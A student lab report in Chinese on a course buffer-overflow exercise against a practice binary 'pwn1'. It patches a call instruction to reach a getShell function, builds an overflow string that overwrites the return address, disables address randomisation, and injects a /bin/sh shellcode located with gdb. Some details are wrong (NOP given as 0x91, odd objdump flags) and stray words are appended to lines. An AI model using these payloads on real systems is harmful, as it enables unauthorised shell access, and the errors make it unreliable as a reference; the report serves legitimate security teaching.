20165214 2018-2019-2 《網絡對抗技術》Exp1 PC平臺逆向破解 Week3

《網絡對抗技術》Exp1 PC平臺逆向破解之「逆向及Bof基礎實踐說明」 Week3

1、 實驗預習

  • 一、什麼是漏洞?漏洞有什麼危害?linux

    漏洞就是在計算機硬件、軟件、協議、安全策略上存在的缺點。利用這些缺點,攻擊者能夠對計算機系統進行攻擊,從而達到必定的目的。漏洞威脅了計算機的系統安全,給攻擊者有可乘之機,可能引發經濟損失、機密泄露、隱私暴露、數據篡改等問題。shell

  • 二、掌握NOP, JNE, JE, JMP, CMP彙編指令的機器碼(如下爲16進制)編程

    NOP:91,空指令
    JNE: 75,條件跳轉,判斷是否等於,若不等於則跳轉
    JE :74,條件跳轉,判斷是否等於,若等於則跳轉
    JMP:E9,無條件轉移
    CMP:38~3D,比較兩個數的大小sass

  • 三、掌握反彙編與十六進制編程器
    • 反彙編指令參數安全

      objdump -C:將底層的符號名解碼成用戶級名字,除了去掉全部開頭
      objdump -d 反彙編那些應該還有指令機器碼的section
      objdump -f 顯示objfile中每一個文件的總體頭部摘要信息
      objdump -h 顯示目標文件各個section的頭部摘要信息
      objdump -i 顯示對於 -b 或者 -m 選項可用的架構和目標格式列表
      objdump -j name 僅僅顯示指定section的信息
      ...網絡

    • 如何linux下使用16進制編輯器(參考博客架構

      使用VIM指令進入文件後,按下 鍵,輸入 %!xxd再按回車,能夠把文件中的內容轉換爲16進制顯示;轉換後,能夠輸入 %!xxd -r再按回車轉換回來。 dom

2、實驗內容

本次實驗對象爲名爲pwn1的pwn1的linux可執行文件。程序正常執行流程是:main調用foo函數,foo函數會簡單回顯任何用戶輸入的字符串。編輯器

該程序同時包含另外一個代碼片斷,getShell,會返回一個可用Shell。正常狀況下這個代碼是不會被運行的。咱們實踐的目標就是想辦法運行這個代碼片斷。咱們將學習兩種方法運行這個代碼片斷,而後學習如何注入運行任何Shellcode。函數

實驗分爲三部分:

  • 手工修改可執行文件,改變程序執行流程,直接跳轉到getShell函數。
  • 利用foo函數的Bof漏洞,構造一個攻擊輸入字符串,覆蓋返回地址,觸發getShell函數。
  • 注入一個本身製做的shellcode並運行這段shellcode。

3、實驗步驟

  • 實驗開始前,先創建相應的文件夾,而後複製pwn1並重命名

步驟一:手工修改可執行文件,改變程序執行流程,直接跳轉到getShell函數

  • 對文件「part1」進行反彙編:objdump -b part1 | more,獲得part1的彙編語言表示,找到關於咱們所要的函數跳轉的部分:
  • 咱們針對上圖進行相應的分析。
    • 一、能夠看到,本來的函是在執行主函數時調用foo,也就是跳轉到foo函數的首地址處。因此,咱們要作的就是修改主函數中的跳轉地址,使得程序跳轉到getshell函數的首地址。
    • 二、主函數中有一條是call 8048491<foo>,這裏8048491就是foo函數的首地址。這條指令的機器碼部分是e8 d7 ff ff ff,其中e8是指令call的機器碼,後面的d7 ff ff ff是目的地址減去eip寄存器中地址的值,若是是負數要換算成補碼。這裏的e8 d7 ff ff ff8048491-80484ba的結果換算成補碼。爲何是減去80484ba而不是 80484b5呢?由於eip寄存器中存放的是下一條指令所在的地址
    • 三、從圖中咱們能夠看到,函數getshell的首地址是804847d。也就是說咱們須要把804847d-80484ba的結果換算成補碼,替換原來的e8 d7 ff ff ff。計算結果是ff ff ff c3
  • 接下來就是地址替換的過程
    • 一、使用vi進入「part1」,發現一堆亂碼。
    • 二、輸入:後,鍵入%!xxd,按回車,將文件內容轉化爲16進製表示
    • 三、輸入/d7搜索d7出現的地方。觀察一下d7先後,肯定是咱們要修改的地方。確認後按i進入編輯模式,把d7改成c3。
    • 四、輸入:後,鍵入%!xxd -r將文件內容轉化爲原來的表示方式
    • 五、使用wq保存並推出文件
  • 最後進行檢驗。在命令行中輸入./part1執行part1,輸入ls,發現執行結果是該目錄下的文件名。說明修改爲功。

步驟二:利用foo函數的Bof漏洞,構造一個攻擊輸入字符串,覆蓋返回地址,觸發getShell函數

  • 首先要知道,在「part2」中的main函數調用的是foo函數,foo函數在執行完後會返回,也就是指向main函數中調用foo函數這條指令的下一條指令。咱們要作的是利用foo中的buf漏洞,覆蓋返回地址,使得在輸入參數後直接執行shellcode,而非foo函數。附上一張圖可以更加清晰地瞭解這一律念。

  • 對文件「part2」進行反彙編:objdump -b part2 | more,獲得part2的彙編語言表示,找到關於咱們所要的部分:
  • 對上圖進行分析,發現buf的長度是1c(十六進制)字節,再加上%ebp佔用的4字節,結果轉換成十進制是32字節。
  • 使用gdb調試「part2」,驗證是否32字節之外的內容會被寫進%eip寄存器。
    • 一、在命令行輸入gdb part2進入調試頁面
    • 二、輸入r開始運行,輸入參數,而後輸如info r進行查看
    • 三、看上圖,看到%eip的值爲0x353535350x35是5的ASCII碼。這就說明了32字節之外的內容會被寫進%eip寄存器
  • 因此咱們接下來要作的是在輸入時,在32字節的內容後面加上getshell函數的首地址的ASCII碼信息。從以前的截圖能夠知道其首地址爲804847d,因爲是小端序列,因此咱們要輸入的是32字節的內容+\x7d\x84\x04\x08。\x表示的是轉換爲ASCII碼
    • 一、咱們沒法經過鍵盤輸入\x7d\x84\x04\x08這樣的16進制值,因此要使用指令perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a" ' > input先生成包括這個字符串的一個文件。\x0a表示回車。
    • 二、使用vi指令進入「input」文件。輸入%!xxd轉換爲十六進制進行查看:
    • 三、使用cat和管道,在執行「part2」的同時把文件「input」中的內容做爲參數輸入:(cat input ;cat) | ./part2,再使用;s命令和pwd命令進行調試,能夠看到結果。

步驟三: 注入Shellcode並執行

  • 安裝execstack
  • 修改堆棧的設置

    execstack -s part3//設置堆棧可執行
    execstack -q part3//查詢文件的堆棧是否可執行
    more /proc/sys/kernel/randomize_va_space //查看每次執行程序時堆棧位置是否移動
    echo "0" > /proc/sys/kernel/randomize_va_space//關閉地址隨機化
    more /proc/sys/kernel/randomize_va_space //關閉後查看結果

  • 先構造一個shellcode語句,而且把這個語句寫入到文件「input_3」中(參考老師的博客中給出的shellcode):

    perl -e 'print "A" x 32;printf "\x4\x3\x2\x1\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00" '>input_3

  • 上面的\x4\x3\x2\x1用來暫時表示shellcode代碼的首地址,接下來咱們要作的是尋找其真正的首地址
    • 一、在目前終端的命令行輸入(cat input_3;cat) | ./part3

    • 二、輸入ps -ef | grep part3來得到進程號。進程號爲5013。(從這裏就能夠知道爲何在構造shellcode的時候不要有回車)

    • 三、打開另外一終端,進入到實驗文件所在目錄,使用gbd進行調試。在gdb中輸入attach 5013,再輸入disassemble foo來查看注入內容的地址。

    • 四、在ret這一句設置斷點:break *0x080484ae,而後切換至另外一終端,按下回車
    • 五、使用info -r rsp來查看棧頂指針,爲0xffd708ac。再輸入x/16x 0xffd708ac查看指針指向的內容
    • 六、能夠從上圖看到,只要把0xffd708ac加上4就能獲得shellcode的首地址爲0xffd708b0
  • 找到首地址後,切換終端,先終止當前進程。而後打開input_3將其修改成16進製表示後進行修改,把\x04\x03\x02\x01修改成\xb0\x08\xff\x7d再輸入(cat input_3;cat) | ./part3,再輸入ls進行驗證。成功

4、心得體會

本次實驗內容雖然比較簡單,可是我花了6個多小時來完成。對於實驗內容中的每一步我都盡所能地去了解其中的原理,並把實驗過程當中所學到的都作了筆記,來鞏固本身的記憶。整體來講收穫仍是很大的,此次實驗讓我學會了緩衝區溢出攻擊的基本原理和一些簡單的方式。這是我第一次接觸到這樣的實驗,感受頗有趣,期待接下來的其餘實驗~而且期待本身通過不斷的學習可以成爲一名黑客,可以主動地對某些主機發動簡單的攻擊(固然不會是惡意的,會找同窗互相嘗試)。爲了這一目標從此也會更加努力地學習。
相關文章
相關標籤/搜索